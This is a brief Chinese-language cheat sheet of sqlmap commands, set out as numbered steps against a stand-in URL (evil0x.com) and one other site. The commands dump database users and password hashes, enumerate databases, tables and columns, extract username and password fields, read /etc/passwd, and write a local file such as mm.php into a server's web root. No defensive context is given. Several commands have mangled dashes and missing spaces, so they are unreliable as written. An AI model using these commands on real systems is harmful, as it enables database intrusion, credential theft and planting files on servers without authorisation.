1.读取数据库版本，当前用户，当前数据库

sqlmap -u http://www.evil0x.com/test.php?p=2 -f -b –current-user –current-db-v 1

2.判断当前数据库用户权限

sqlmap -u http://www.evil0x.com/test.php?p=2 –privileges-U 用户名 -v 1

sqlmap -u http://www.evil0x.com/test.php?p=2 –is-dba-U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.evil0x.com/test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.evil0x.com/test.php?p=2 –passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.evil0x.com/test.php?p=2 –dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.evil0x.com/test.php?p=2 –tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.evil0x.com/test.php?p=2 –columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.evil0x.com/test.php?p=2 –dump -D mysql -T users -C “username,password”-s “sqlnmapdb.log”-v 2

8.file-read读取web文件

sqlmap -u http://www.evil0x.com/test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write写入文件到web

sqlmap -u http://www.evil0x.com/ test.php?p=2–file-write /localhost/mm.php –file-dest

./sqlmap.py -u"http://www.nxadmin.com/sql-injection.php?id=1" –file-write/test/test.txt–file-dest /var/www/html/1.txt

将本地的test.txt写入到站点服务器的html目录下。